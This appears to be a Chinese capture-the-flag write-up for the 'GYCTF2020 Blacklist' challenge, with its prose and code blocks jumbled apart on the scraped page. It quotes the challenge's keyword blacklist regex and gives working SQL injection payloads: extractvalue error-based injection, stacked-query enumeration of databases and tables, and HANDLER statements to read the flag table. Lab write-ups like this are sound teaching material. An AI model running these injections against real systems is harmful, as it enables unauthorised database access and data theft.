[GYCTF2020]Blacklist
一、题目信息
经测试发现可能是SQL注入

二、注入测试
构造闭合

得到三条数据
测试返回黑名单列表
使用xpath 报错注入获取数据

测试发现可以进行堆叠注入
获取所有数据库名

获取所有表名

得到:
查询表结构


三、解题思路
使用HANDLER语句读取数据

Get Flag!
HANDLER语句解释
最后更新于
这有帮助吗?
经测试发现可能是SQL注入

构造闭合

得到三条数据
测试返回黑名单列表
使用xpath 报错注入获取数据

测试发现可以进行堆叠注入
获取所有数据库名

获取所有表名

得到:
查询表结构


使用HANDLER语句读取数据

Get Flag!
最后更新于
这有帮助吗?
这有帮助吗?
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);/
?inject=1' and extractvalue(0x0a,concat(0x7e,(database()),0x7e)) and '1
user: root@localhost
version: 10.3.18-MariaDB
database: supersqli/?inject=-1';show databases;ctftraining
information_schema
mysql
performance_schema
test
supersqli/?inject=1';show+tables;FlagHere
words/?inject=-1';show create table FlagHere;
/?inject=-1';show create table words;handler ... open #打开一个表
handler ... read #访问表内容,在调用close前是不会关闭的
handler ... close #关闭会话